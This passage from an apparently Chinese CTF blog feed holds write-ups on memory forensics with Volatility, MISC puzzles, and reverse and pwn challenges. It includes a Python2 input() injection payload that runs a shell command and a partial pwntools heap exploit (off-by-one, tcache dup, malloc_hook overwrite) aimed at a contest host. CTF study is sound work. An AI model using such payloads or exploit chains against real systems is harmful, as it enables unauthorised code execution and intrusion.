class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br></pre></td><td class="code"><pre><span class="line">Volatility Foundation Volatility Framework 2.6</span><br><span class="line">************************************************************************</span><br><span class="line">System pid: 4</span><br><span class="line">************************************************************************</span><br><span class="line">smss.exe pid: 272</span><br><span class="line">Command line : \SystemRoot\System32\smss.exe</span><br><span class="line">************************************************************************</span><br><span class="line">csrss.exe pid: 360</span><br><span class="line">Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16</span><br><span class="line">************************************************************************</span><br><span class="line">wininit.exe pid: 412</span><br><span class="line">Command line : wininit.exe</span><br><span class="line">************************************************************************</span><br><span class="line">csrss.exe pid: 420</span><br><span class="line">Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16</span><br><span class="line">************************************************************************</span><br><span class="line">winlogon.exe pid: 480</span><br><span class="line">Command line : winlogon.exe</span><br><span class="line">************************************************************************</span><br><span class="line">services.exe pid: 520</span><br><span class="line">Command line : C:\Windows\system32\services.exe</span><br><span class="line">************************************************************************</span><br><span class="line">lsass.exe pid: 528</span><br><span class="line">Command line : C:\Windows\system32\lsass.exe</span><br><span class="line">************************************************************************</span><br><span class="line">lsm.exe pid: 536</span><br><span class="line">Command line : C:\Windows\system32\lsm.exe</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 636</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k DcomLaunch</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 716</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k RPCSS</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 808</span><br><span class="line">Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 844</span><br><span class="line">Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 876</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k netsvcs</span><br><span class="line">************************************************************************</span><br><span class="line">audiodg.exe pid: 956</span><br><span class="line">Command line : C:\Windows\system32\AUDIODG.EXE 0x2e8</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 1036</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k LocalService</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 1132</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k NetworkService</span><br><span class="line">************************************************************************</span><br><span class="line">spoolsv.exe pid: 1280</span><br><span class="line">Command line : C:\Windows\System32\spoolsv.exe</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 1376</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork</span><br><span class="line">************************************************************************</span><br><span class="line">VGAuthService. pid: 1560</span><br><span class="line">Command line : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"</span><br><span class="line">************************************************************************</span><br><span class="line">vmtoolsd.exe pid: 1584</span><br><span class="line">Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 1824</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k bthsvcs</span><br><span class="line">************************************************************************</span><br><span class="line">dllhost.exe pid: 128</span><br><span class="line">Command line : C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}</span><br><span class="line">************************************************************************</span><br><span class="line">msdtc.exe pid: 596</span><br><span class="line">Command line : C:\Windows\System32\msdtc.exe</span><br><span class="line">************************************************************************</span><br><span class="line">WmiPrvSE.exe pid: 920</span><br><span class="line">Command line : C:\Windows\system32\wbem\wmiprvse.exe</span><br><span class="line">************************************************************************</span><br><span class="line">taskhost.exe pid: 2096</span><br><span class="line">Command line : "taskhost.exe"</span><br><span class="line">************************************************************************</span><br><span class="line">dwm.exe pid: 2188</span><br><span class="line">Command line : "C:\Windows\system32\Dwm.exe"</span><br><span class="line">************************************************************************</span><br><span class="line">explorer.exe pid: 2216</span><br><span class="line">Command line : C:\Windows\Explorer.EXE</span><br><span class="line">************************************************************************</span><br><span class="line">vm3dservice.ex pid: 2404</span><br><span class="line">Command line : "C:\Windows\System32\vm3dservice.exe" -u</span><br><span class="line">************************************************************************</span><br><span class="line">vmtoolsd.exe pid: 2412</span><br><span class="line">Command line : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr</span><br><span class="line">************************************************************************</span><br><span class="line">SearchIndexer. pid: 2584</span><br><span class="line">Command line : C:\Windows\system32\SearchIndexer.exe /Embedding</span><br><span class="line">************************************************************************</span><br><span class="line">WmiPrvSE.exe pid: 2764</span><br><span class="line">Command line : C:\Windows\system32\wbem\wmiprvse.exe</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 3224</span><br><span class="line">Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation</span><br><span class="line">************************************************************************</span><br><span class="line">sppsvc.exe pid: 3272</span><br><span class="line">Command line : C:\Windows\system32\sppsvc.exe</span><br><span class="line">************************************************************************</span><br><span class="line">svchost.exe pid: 3344</span><br><span class="line">Command line : C:\Windows\System32\svchost.exe -k secsvcs</span><br><span class="line">************************************************************************</span><br><span class="line">taskhost.exe pid: 2924</span><br><span class="line">Command line : taskhost.exe $(Arg0)</span><br><span class="line">************************************************************************</span><br><span class="line">SearchProtocol pid: 3520</span><br><span class="line">Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe5_ Global\UsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" </span><br><span class="line">************************************************************************</span><br><span class="line">SearchFilterHo pid: 2692</span><br><span class="line">Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 532 536 544 65536 540 </span><br><span class="line">************************************************************************</span><br><span class="line">DumpIt.exe pid: 3632</span><br><span class="line">Command line : "C:\Users\Cookie\Desktop\DumpIt.exe" </span><br><span class="line">************************************************************************</span><br><span class="line">conhost.exe pid: 1684</span><br><span class="line">Command line : \??\C:\Windows\system32\conhost.exe</span><br><span class="line">************************************************************************</span><br><span class="line">dllhost.exe pid: 3552</span><br></pre></td></tr></table></figure><p>也没有得到关键的信息<br><code>看一下连接过的网络</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 netscan</span><br></pre></td></tr></table></figure><p>看到在3分钟之后是未知的,回到进程查看一下他干了什么</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sudo volatility -f Cookie.raw --profile=Win7SP1x86 pslist</span><br><span class="line">0x87da3d40 sppsvc.exe 3272 520 4 159 0 0 2020-02-11 12:03:00 UTC+0000 </span><br><span class="line">0x87cdbd40 svchost.exe 3344 520 9 310 0 0 2020-02-11 12:03:00 UTC+0000 </span><br><span class="line">0x87d65030 taskhost.exe 2924 520 8 181 0 0 2020-02-11 12:09:55 UTC+0000 </span><br><span class="line">0x87f2a550 SearchProtocol 3520 2584 7 320 0 0 2020-02-11 12:10:35 UTC+0000 </span><br></pre></td></tr></table></figure><p>这一段3~9分钟之间发生了一些事情让出题人等待了一下,上网查一下这些进程的含义以及使用的用途</p><p>把这个位置的进程dump出来加以分析一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility -f Cookie.raw --profile=Win7SP1x86 memdump -p 2924 --dump-dir=./</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">C:\home\kali\桌面> volatility -f Cookie.raw --profile=Win7SP1x86 memdump -p 2924 --dump-dir=./</span><br><span class="line">Volatility Foundation Volatility Framework 2.6</span><br><span class="line">************************************************************************</span><br><span class="line">Writing taskhost.exe [ 2924] to 2924.dmp</span><br></pre></td></tr></table></figure><p>得到一个2924.dmp文<br><code>关键字文件查找</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings 2924.dmp | grep flag{ ;strings 2924.dmp | grep DASCTF{ ;strings 2924.dmp | grep ctf{</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\home\kali\桌面> strings 2924.dmp | grep flag{ ;strings 2924.dmp | grep DASCTF{ ;strings 2924.dmp | grep ctf{</span><br><span class="line">$value = "flag{528c8870778d2336fdf512652b74a8aa}";</span><br></pre></td></tr></table></figure><p>得到flag</p><p>看一下文件里面是什么</p><h3 id="V-amp-N2020-公开赛-内存取证"><a href="#V-amp-N2020-公开赛-内存取证" class="headerlink" title="[V&N2020 公开赛]内存取证#"></a>[V&N2020 公开赛]内存取证<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#v-n2020-%E5%85%AC%E5%BC%80%E8%B5%9B-%E5%86%85%E5%AD%98%E5%8F%96%E8%AF%81">#</a></h3><h4 id="查看基本文件架构"><a href="#查看基本文件架构" class="headerlink" title="查看基本文件架构#"></a>查看基本文件架构<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E6%9F%A5%E7%9C%8B%E5%9F%BA%E6%9C%AC%E6%96%87%E4%BB%B6%E6%9E%B6%E6%9E%84">#</a></h4><h4 id="获取有利信息"><a href="#获取有利信息" class="headerlink" title="获取有利信息#"></a>获取有利信息<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E8%8E%B7%E5%8F%96%E6%9C%89%E5%88%A9%E4%BF%A1%E6%81%AF">#</a></h4><p>扫描 记事本文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">kali@kali:~/桌面$ volatility -f mem.raw --profile=Win7SP0x86 filescan | grep not </span><br><span class="line">Volatility Foundation Volatility Framework 2.6 </span><br><span class="line">0x000000001de89cb8 6 0 R--r-d \Device\HarddiskVolume2\Windows\System32\notepad.exe</span><br></pre></td></tr></table></figure><p>dump进程查看文件,发现文件可能被删除</p><h4 id="删除数据恢复"><a href="#删除数据恢复" class="headerlink" title="删除数据恢复#"></a>删除数据恢复<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E5%88%A0%E9%99%A4%E6%95%B0%E6%8D%AE%E6%81%A2%E5%A4%8D">#</a></h4><p>使用命令恢复数据</p><p>得到百度网盘链接和提取码,下载下来一个加密文件</p><p>寻找加密进程</p><p>dump进程下来 使用EFDD解密vol文件</p><p><code>得到密码:uOjFdKu1jsbWI8N51jsbWI8N5</code></p><p>再使用得到的密码TrueCrypt挂载上去解密</p><p>得到一个加密的flag压缩包</p><h4 id="GIMP还原"><a href="#GIMP还原" class="headerlink" title="GIMP还原#"></a>GIMP还原<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#gimp%E8%BF%98%E5%8E%9F">#</a></h4><p>把 mspaint.exe (pid 2648) dump下来,使用GIMP还原</p><p><code>得到密码 :1YxfCQ6goYBD6Q</code></p><p>打开加密zip文件得到flag</p><p><code>RoarCTF{wm_D0uB1e_TC-cRypt}</code></p>]]></content>
<summary type="html"><h3 id="自用总结"><a href="#自用总结" class="headerlink" title="自用总结"></a>自用总结</h3><h3 id="简单描述"><a href="#简单描述" class="headerlink" title="简单描述#"></</summary>
<category term="MISC" scheme="http://sharun.xyz/categories/MISC/"/>
<category term="MISC" scheme="http://sharun.xyz/tags/MISC/"/>
<category term="forensic" scheme="http://sharun.xyz/tags/forensic/"/>
</entry>
<entry>
<title>湖湘杯-MISC-WP</title>
<link href="http://sharun.xyz/2020/11/02/cnblog_13913331/"/>
<id>http://sharun.xyz/2020/11/02/cnblog_13913331/</id>
<published>2020-11-01T18:49:00.000Z</published>
<updated>2020-11-09T11:26:55.016Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉湖湘杯-MISC-WP👈的摘要"><a href="#这是👉湖湘杯-MISC-WP👈的摘要" class="headerlink" title="这是👉湖湘杯-MISC-WP👈的摘要"></a><a href="../../../../2020/11/02/cnblog_13913331/">这是👉湖湘杯-MISC-WP👈的摘要</a></h1><a id="more"></a><p>中午ak了MISC,下午只能眼睁睁看自己掉名次 ### 颜文字之谜 导出HTTP,发现一个index-demo文件,在其中发现一串雪花和一串base64<br>base64隐写解下密,得到lorrie 用这个秘钥解snow<br>得到<img src="https://uploader.shimo.im/f/ZvRtKHgHF3jFN50L.png!thumbnail" alt="图片"> 替换成moser解密<br>得到flag <img src="https://uploader.shimo.im/f/CbMxvY9LdwDkz6WK.png!thumbnail" alt="图片"> ###<br>passwd<br>volatility提取密码,<img src="https://uploader.shimo.im/f/33aqWIpGmBvKvpeV.png!thumbnail" alt="图片"><br>cmd5 解密 即可 <img src="https://uploader.shimo.im/f/Jepfou4Rxlb2yBNN.png!thumbnail" alt="图片"></p><h3 id="虚实之间-明文攻击压缩包,文本五个一组得到flag-ffd5e341-le25b2dc-ab15cbb-gc3bc5b-789b51"><a href="#虚实之间-明文攻击压缩包,文本五个一组得到flag-ffd5e341-le25b2dc-ab15cbb-gc3bc5b-789b51" class="headerlink" title="虚实之间 明文攻击压缩包,文本五个一组得到flag ffd5e341 le25b2dc ab15cbb} gc3bc5b {789b51"></a>虚实之间 明文攻击压缩包,文本五个一组得到flag ffd5e341 le25b2dc ab15cbb} gc3bc5b {789b51</h3><p>febc7d2138555b9ebccb32b554dbb11c ### 隐藏的秘密 先在桌面文件中发现一个txt文件<br><img src="https://uploader.shimo.im/f/elPpnWqsMpm2E6af.png!thumbnail" alt="图片"><br>然后注册表中发现一个登录过的用户<br><img src="https://uploader.shimo.im/f/uSRsHitnUb6hYv94.png!thumbnail" alt="图片"><br><img src="https://uploader.shimo.im/f/4En4d62DDDS4Ag66.png!thumbnail" alt="图片"> 提取密码 cmd5解密<br><img src="https://uploader.shimo.im/f/7v4706yMV55D3QSv.png!thumbnail" alt="图片"></p>]]></content>
<summary type="html"><h1 id="这是👉湖湘杯-MISC-WP👈的摘要"><a href="#这是👉湖湘杯-MISC-WP👈的摘要" class="headerlink" title="这是👉湖湘杯-MISC-WP👈的摘要"></a><a href="../../../../2020/11/02/cnblog_13913331/">这是👉湖湘杯-MISC-WP👈的摘要</a></h1></summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>爆炒腰花-2020国赛WP</title>
<link href="http://sharun.xyz/2020/08/21/cnblog_13542994/"/>
<id>http://sharun.xyz/2020/08/21/cnblog_13542994/</id>
<published>2020-08-21T03:43:00.000Z</published>
<updated>2020-11-09T11:26:55.029Z</updated>
<content type="html"><![CDATA[<h1 id="这是👉爆炒腰花-2020国赛WP👈的摘要"><a href="#这是👉爆炒腰花-2020国赛WP👈的摘要" class="headerlink" title="这是👉爆炒腰花-2020国赛WP👈的摘要"></a><a href="../../../../2020/08/21/cnblog_13542994/">这是👉爆炒腰花-2020国赛WP👈的摘要</a></h1><a id="more"></a><p>心疼北邮第三第四的小可爱三秒 全队的wp,web手不记得是WM原题,已经被我埋了 # 逆向 ## z3<br><img src="https://uploader.shimo.im/f/jWKvMwxpBP3ajRU6.png!thumbnail" alt="图片"> 结合题目名称<br>和这一大坨方程式想到了Z3 不多BB z3 一把梭 val的值可以写个IDapython脚本提取出来 ```plain from z3 import *<br>s=Solver() a1=[Int(‘a1[%d]’%i) for i in range(42)] val=[20247,40182,36315,<br>36518,26921,39185,16546, 12094,25270,19330,18540,16386,<br>21207,11759,10460,25613,21135,24891,18305,<br>27415,12855,10899,24927,20670,22926,18006,<br>23345,12602,12304,26622,19807,22747,14233,24736, 10064,14169,<br>35155,28962,33273,21796,35185,14877] s.add(val[0] == 34 * a1[3] + 12 * a1[0] +<br>53 * a1[1] + 6 * a1[2] + 58 * a1[4] + 36 * a1[5] + a1[6]) s.add(val[1]== 27 *<br>a1[4] + 73 * a1[3] + 12 * a1[2] + 83 * a1[0] + 85 * a1[1] + 96 * a1[5] + 52 *<br>a1[6]) s.add(val[2] == 24 * a1[2] + 78 * a1[0] + 53 * a1[1] + 36 * a1[3] + 86</p><ul><li>a1[4] + 25 * a1[5] + 46 * a1[6]) s.add(val[3]== 78 * a1[1] + 39 * a1[0] + 52</li><li>a1[2] + 9 * a1[3] + 62 * a1[4] + 37 * a1[5] + 84 * a1[6]) s.add(val[4]== 48</li><li>a1[4] + 14 * a1[2] + 23 * a1[0] + 6 * a1[1] + 74 * a1[3] + 12 * a1[5] + 83 *<br>a1[6]) s.add(val[5]== 15 * a1[5] + 48 * a1[4] + 92 * a1[2] + 85 * a1[1] + 27 *<br>a1[0] + 42 * a1[3] + 72 * a1[6]) s.add(val[6] == 26 * a1[5] + 67 * a1[3] + 6 *<br>a1[1] + 4 * a1[0] + 3 * a1[2] + 68 * a1[6]) s.add(val[7] == 34 * a1[10] + 12 *<br>a1[7] + 53 * a1[8] + 6 * a1[9] + 58 * a1[11] + 36 * a1[12] + a1[13])<br>s.add(val[8] == 27 * a1[11] + 73 * a1[10] + 12 * a1[9] + 83 * a1[7] + 85 *<br>a1[8] + 96 * a1[12] + 52 * a1[13]) s.add(val[9] == 24 * a1[9] + 78 * a1[7] +<br>53 * a1[8] + 36 * a1[10] + 86 * a1[11] + 25 * a1[12] + 46 * a1[13])<br>s.add(val[10] == 78 * a1[8] + 39 * a1[7] + 52 * a1[9] + 9 * a1[10] + 62 *<br>a1[11] + 37 * a1[12] + 84 * a1[13]) s.add(val[11]== 48 * a1[11] + 14 * a1[9] +<br>23 * a1[7] + 6 * a1[8] + 74 * a1[10] + 12 * a1[12] + 83 * a1[13])<br>s.add(val[12]== 15 * a1[12] + 48 * a1[11] + 92 * a1[9] + 85 * a1[8] + 27 *<br>a1[7] + 42 * a1[10] + 72 * a1[13]) s.add(val[13]== 26 * a1[12] + 67 * a1[10] +<br>6 * a1[8] + 4 * a1[7] + 3 * a1[9] + 68 * a1[13]) s.add(val[14]== 34 * a1[17] +<br>12 * a1[14] + 53 * a1[15] + 6 * a1[16] + 58 * a1[18] + 36 * a1[19] + a1[20])<br>s.add(val[15]== 27 * a1[18] + 73 * a1[17] + 12 * a1[16] + 83 * a1[14] + 85 *<br>a1[15] + 96 * a1[19] + 52 * a1[20]) s.add(val[16]== 24 * a1[16] + 78 * a1[14]</li></ul><ul><li>53 * a1[15] + 36 * a1[17] + 86 * a1[18] + 25 * a1[19] + 46 * a1[20])<br>s.add(val[17]== 78 * a1[15] + 39 * a1[14] + 52 * a1[16] + 9 * a1[17] + 62 *<br>a1[18] + 37 * a1[19] + 84 * a1[20]) s.add(val[18]== 48 * a1[18] + 14 * a1[16]</li><li>23 * a1[14] + 6 * a1[15] + 74 * a1[17] + 12 * a1[19] + 83 * a1[20])<br>s.add(val[19] == 15 * a1[19] + 48 * a1[18] + 92 * a1[16] + 85 * a1[15] + 27 *<br>a1[14] + 42 * a1[17] + 72 * a1[20]) s.add(val[20]== 26 * a1[19] + 67 * a1[17]</li><li>6 * a1[15] + 4 * a1[14] + 3 * a1[16] + 68 * a1[20]) s.add(val[21] == 34 *<br>a1[24] + 12 * a1[21] + 53 * a1[22] + 6 * a1[23] + 58 * a1[25] + 36 * a1[26] +<br>a1[27]) s.add(val[22]== 27 * a1[25] + 73 * a1[24] + 12 * a1[23] + 83 * a1[21]</li><li>85 * a1[22] + 96 * a1[26] + 52 * a1[27]) s.add(val[23]== 24 * a1[23] + 78 *<br>a1[21] + 53 * a1[22] + 36 * a1[24] + 86 * a1[25] + 25 * a1[26] + 46 * a1[27])<br>s.add(val[24]== 78 * a1[22] + 39 * a1[21] + 52 * a1[23] + 9 * a1[24] + 62 *<br>a1[25] + 37 * a1[26] + 84 * a1[27]) s.add(val[25]== 48 * a1[25] + 14 * a1[23]</li><li>23 * a1[21] + 6 * a1[22] + 74 * a1[24] + 12 * a1[26] + 83 * a1[27])<br>s.add(val[26]== 15 * a1[26] + 48 * a1[25] + 92 * a1[23] + 85 * a1[22] + 27 *<br>a1[21] + 42 * a1[24] + 72 * a1[27]) s.add(val[27]== 26 * a1[26] + 67 * a1[24]</li><li>6 * a1[22] + 4 * a1[21] + 3 * a1[23] + 68 * a1[27]) s.add(val[28]== 34 *<br>a1[31] + 12 * a1[28] + 53 * a1[29] + 6 * a1[30] + 58 * a1[32] + 36 * a1[33] +<br>a1[34]) s.add(val[29] == 27 * a1[32] + 73 * a1[31] + 12 * a1[30] + 83 * a1[28]</li><li>85 * a1[29] + 96 * a1[33] + 52 * a1[34]) s.add(val[30]== 24 * a1[30] + 78 *<br>a1[28] + 53 * a1[29] + 36 * a1[31] + 86 * a1[32] + 25 * a1[33] + 46 * a1[34])<br>s.add(val[31]== 78 * a1[29] + 39 * a1[28] + 52 * a1[30] + 9 * a1[31] + 62 *<br>a1[32] + 37 * a1[33] + 84 * a1[34]) s.add(val[32]== 48 * a1[32] + 14 * a1[30]</li><li>23 * a1[28] + 6 * a1[29] + 74 * a1[31] + 12 * a1[33] + 83 * a1[34])<br>s.add(val[33]== 15 * a1[33] + 48 * a1[32] + 92 * a1[30] + 85 * a1[29] + 27 *<br>a1[28] + 42 * a1[31] + 72 * a1[34]) s.add(val[34]== 26 * a1[33] + 67 * a1[31]</li><li>6 * a1[29] + 4 * a1[28] + 3 * a1[30] + 68 * a1[34]) s.add(val[35]== 34 *<br>a1[38] + 12 * a1[35] + 53 * a1[36] + 6 * a1[37] + 58 * a1[39] + 36 * a1[40] +<br>a1[41]) s.add(val[36]== 27 * a1[39] + 73 * a1[38] + 12 * a1[37] + 83 * a1[35]</li><li>85 * a1[36] + 96 * a1[40] + 52 * a1[41]) s.add(val[37]== 24 * a1[37] + 78 *<br>a1[35] + 53 * a1[36] + 36 * a1[38] + 86 * a1[39] + 25 * a1[40] + 46 * a1[41])<br>s.add(val[38]== 78 * a1[36] + 39 * a1[35] + 52 * a1[37] + 9 * a1[38] + 62 *<br>a1[39] + 37 * a1[40] + 84 * a1[41]) s.add(val[39]== 48 * a1[39] + 14 * a1[37]</li><li>23 * a1[35] + 6 * a1[36] + 74 * a1[38] + 12 * a1[40] + 83 * a1[41])<br>s.add(val[40]== 15 * a1[40] + 48 * a1[39] + 92 * a1[37] + 85 * a1[36] + 27 *<br>a1[35] + 42 * a1[38] + 72 * a1[41]) s.add(val[41] == 26 * a1[40] + 67 * a1[38]</li><li>6 * a1[36] + 4 * a1[35] + 3 * a1[37] + 68 * a1[41]) print s.check()<br>print(s.model()) a1=[0]<em>42 a1[14]=54 a1[25]=57 a1[0]=102 a1[15]=51 a1[37]=101<br>a1[36]=102 a1[7]=49 a1[16]=98 a1[23]=45 a1[18]=45 a1[30]=101 a1[28]=45<br>a1[2]=97 a1[4]=123 a1[3]=103 a1[21]=49 a1[24]=57 a1[29]=54 a1[17]=57 a1[22]=56<br>a1[31]=49 a1[33]=99 a1[38]=54 a1[11]=52 a1[26]=48 a1[39]=52 a1[8]=55<br>a1[10]=100 a1[40]=56 a1[19]=52 a1[12]=51 a1[32]=52 a1[1]=108 a1[35]=97<br>a1[5]=55 a1[9]=49 a1[41]=125 a1[34]=50 a1[27]=101 a1[20]=101 a1[13]=45<br>a1[6]=101 s=’’ for i in range(42): s+=chr(a1[i]) print s <code>## hyperthreading ![图片](https://uploader.shimo.im/f/G90W0lapBsfd86Ja.png!thumbnail) IDA strings 定位到关键函数 发现creathread函数 对于输入内容的加密内容应该在子线程中 跳转到strataddress 发现代码从0x401151开始不对 OD调试 ![图片](https://uploader.shimo.im/f/SizsKDVFP078eN4g.png!thumbnail) 发现IDA分析错位 ![图片](https://uploader.shimo.im/f/CX1x6ysudgqgBcWO.png!thumbnail) 存在反调试和花指令,去之 ![图片](https://uploader.shimo.im/f/Fv5cOEvqxrvUwvBB.png!thumbnail) 其中有死循环反调试和花指令(0xeb) 最后还原出来的加密逻辑是移位异或再加0x23 写脚本</code>plain #fromidaapiimport</em><br>#startaddr=0x402150 #offset=42 #a=[] #foriinrange(offset): #<br>a.append(Byte(startaddr+i)) #print a a=[221,91,158,29,32,158,144,145,144,144,<br>145,146,222,139,17,209,30,158,139, 81,17,80,81,139, 158,93,93,17,139,144,18,<br>145,80,18,210,145,146,30, 158,144,210,159] print(len(a)) s=’’ for j in<br>range(42): for i in range(0x20,0x7f): tmp=((((i>>2)^(i<<6))^0x23)+0x23)&0xff<br>if (tmp==a[j]): s+=chr(i) print (s) <code># pwn ## babyjsc: 刚拿到题目啥也没看懂 好像是个JS解析,不懂 找了server.py ![图片](https://uploader.shimo.im/f/9M6HwsBLBELnyIJW.png!thumbnail) 可以发现程序的交互部分是由server.py实现 # ![图片](https://uploader.shimo.im/f/nuArrQj1kx2SmaK0.png!thumbnail) python2 input函数非常危险 之前做过一个CTF就是拿这个出题的导致可以直接getshell 具体可以参考这篇文章[https://www.cnblogs.com/heycomputer/articles/10537633.html](https://www.cnblogs.com/heycomputer/articles/10537633.html) 直接输入 **__import__('os').system('cat /home/ctf/flag')** 我估计这是个非预期 23333 ## safebox ![图片](https://uploader.shimo.im/f/Vd6sY4FB2HqSSRR6.png!thumbnail) 典型的菜单堆 ![图片](https://uploader.shimo.im/f/aP4BBG28vjyLQH6n.png!thumbnail) 最多0xf个堆块大小限制为0xfff 可以看到存在off-by-one 漏洞 可以通过off-by-one构造chunk overlapping 再申请一部分出来 让main_arena的地址进入tcache链 再修改低位字节爆破stdout 最后再构造overlapping实现tcache dup</code>plain from pwn import * from time import sleep context.log_level = ‘debug’<h1 id="p-process-“-pwn”-p-remote-‘101-200-53-148’-34521-elf-ELF-‘-pwn’-libc"><a href="#p-process-“-pwn”-p-remote-‘101-200-53-148’-34521-elf-ELF-‘-pwn’-libc" class="headerlink" title="p=process(“./pwn”) p = remote(‘101.200.53.148’,34521) elf=ELF(‘./pwn’) libc"></a>p=process(“./pwn”) p = remote(‘101.200.53.148’,34521) elf=ELF(‘./pwn’) libc</h1>= ELF(‘./libc.2.23.so’) def add(idx,size,content): p.recvuntil(‘>>>’)<br>p.sendline(“1”) p.recvuntil(“idx:”) p.sendline(str(idx)) p.recvuntil(“len:”)<br>p.sendline(str(size)) p.recvuntil(“content:”) p.send(content) def delete(idx):<br>p.recvuntil(‘>>>’) p.sendline(“2”) p.recvuntil(“idx:”) p.sendline(str(idx))<br>def get_shell(): add(0,0x18,’aaaa’) add(1,0x108,’bbbb’) add(2,0x60,’cccc’)<br>add(3,0x60,’dddd’) add(4,0xf8,’eeee’) add(5,0x20,’ffff’) delete(0)<br>add(0,0x18,’a’*0x18+’\xf1’) delete(2) delete(3) delete(1) add(1,0x108,’aaaa’)<br>add(2,0x70,p16(0x2620-0x43)) delete(1) add(1,0x108,’a’*0x108+’\x71’)<br>add(3,0x60,’bbbb’) add(6,0x60,’cccc’)<br>payload=’a’*0x33+p64(0xfbad1800)+p64(0)*3+’\x00’ add(7,0x68,payload)#爆破libc<br>多试几次就行 #pause() libc_base =<br>u64(p.recvuntil(‘\x7f’)[-6:].ljust(8,’\x00’))-0x3c5600 print hex(libc_base)<br>free_hook = libc_base + 0x3c67a8 malloc_hook = libc_base+0x3c4b10<br>onegadget=libc_base+0xf1207 p.sendline(“1”) p.recvuntil(“idx:”)<br>p.sendline(str(8)) p.recvuntil(“len:”) p.sendline(str(0x50))<br>p.recvuntil(“content:”) p.send(‘a’) add(8,0x18,’aaaa’) add(9,0x108,’bbbb’)<br>add(10,0x68,’cccc’) add(11,0x68,’dddd’) add(12,0x68,’eeee’) delete(8)<br>add(0,0x18,’a’*0x18+’\xf1’) delete(10) delete(11) delete(9)<br>add(9,0x108,’bbbb’) add(10,0x70,p64(malloc_hook-0x23)) 